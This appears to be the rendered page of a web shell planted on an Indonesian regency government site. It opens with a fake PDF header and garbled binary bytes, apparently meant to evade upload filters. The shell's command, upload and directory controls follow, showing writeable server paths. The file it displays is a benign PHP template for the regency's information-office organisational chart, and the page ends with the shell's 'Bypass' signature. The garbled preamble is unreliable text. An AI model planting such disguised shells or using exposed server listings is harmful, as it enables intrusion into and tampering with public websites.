%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :
ikan Uploader :
Directory :  /var/www/new-ppid-app/partials/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/new-ppid-app/partials/struktur-ppid.php
<?php
/**
 * Partial: Struktur Organisasi PPID Utama Kabupaten Mamuju Tengah.
 * Bagan HTML responsif (menumpuk di layar kecil).
 */

// Kartu jabatan: label peran (atas) + nama pemangku (bawah).
$strukturNode = static function (string $peran, string $nama, string $tone = 'gold', string $w = 'w-60 sm:w-64'): string {
    $head = [
        'gold'  => 'bg-mateng-gold',
        'green' => 'bg-mateng-green',
        'blue'  => 'bg-mateng-blue',
    ][$tone] ?? 'bg-mateng-gold';
    return '<div class="' . $w . ' rounded-xl overflow-hidden shadow-sm border border-slate-100 text-center shrink-0">'
        . '<div class="' . $head . ' text-white text-[11px] font-bold uppercase tracking-wide py-1.5 px-2 leading-tight">' . e($peran) . '</div>'
        . '<div class="bg-white text-slate-800 text-sm font-semibold py-2.5 px-2 leading-snug">' . e($nama) . '</div>'
        . '</div>';
};
$connector = '<div class="w-px h-5 bg-slate-300"></div>';

// Bidang di bawah PPID Utama (urut sesuai bagan).
$bidang = [
    ['Bidang Sekretariat PPID', 'Sekretaris Dinas Kominfo', 'green'],
    ['Bidang Pengelola Data dan Klasifikasi', 'Kabid Persandian dan Informatika', 'green'],
    ['PPID Pembantu', 'Sekretaris OPD / Kabag yang menangani TU pada Bagian', 'blue'],
    ['Bidang Pelayanan Informasi dan Komunikasi', 'Kabid Komunikasi', 'green'],
    ['Bidang Fasilitasi Sengketa Informasi', 'Fungsional APIP pada Irban II', 'green'],
];
?>
<article class="bg-white rounded-2xl border border-slate-100 shadow-sm p-6 sm:p-8">
    <h2 class="text-2xl font-bold text-slate-900 mb-1 flex items-center gap-3"><i class="fas fa-diagram-project text-mateng-green"></i> Struktur Organisasi PPID</h2>
    <p class="text-sm text-slate-500 mb-8">Struktur PPID Utama Kabupaten Mamuju Tengah.</p>

    <div class="flex flex-col items-center">
        <!-- Pembina -->
        <?= $strukturNode('Pembina', 'Bupati Mamuju Tengah', 'gold') ?>
        <?= $connector ?>

        <!-- Pengarah + Tim Pertimbangan -->
        <div class="flex flex-col items-center">
            <div class="relative">
                <?= $strukturNode('Pengarah', 'Sekretaris Daerah', 'gold') ?>
                <div class="hidden lg:flex items-center absolute top-1/2 left-full -translate-y-1/2">
                    <div class="w-8 h-px bg-slate-300"></div>
                    <div class="w-44 rounded-xl overflow-hidden shadow-sm border border-slate-100 text-center">
                        <div class="bg-amber-500 text-white text-[11px] font-bold uppercase tracking-wide py-2.5 px-2">Tim Pertimbangan</div>
                    </div>
                </div>
            </div>
            <div class="lg:hidden mt-3 w-52 rounded-xl overflow-hidden shadow-sm border border-slate-100 text-center">
                <div class="bg-amber-500 text-white text-[11px] font-bold uppercase tracking-wide py-2.5 px-2">Tim Pertimbangan</div>
            </div>
        </div>
        <?= $connector ?>

        <!-- PPID Utama -->
        <?= $strukturNode('PPID Utama', 'Kadis Kominfostatisper', 'gold') ?>
        <?= $connector ?>

        <!-- Cabang ke bidang-bidang -->
        <div class="w-full mt-2 pt-6 border-t border-dashed border-slate-200">
            <p class="text-center text-xs font-semibold text-slate-400 uppercase tracking-wider mb-5">Membawahi</p>
            <div class="flex flex-wrap justify-center gap-4">
                <?php foreach ($bidang as $b): ?>
                    <?= $strukturNode($b[0], $b[1], $b[2], 'w-full sm:w-60') ?>
                <?php endforeach; ?>
            </div>
        </div>
    </div>
</article>

Kontol Shell Bypass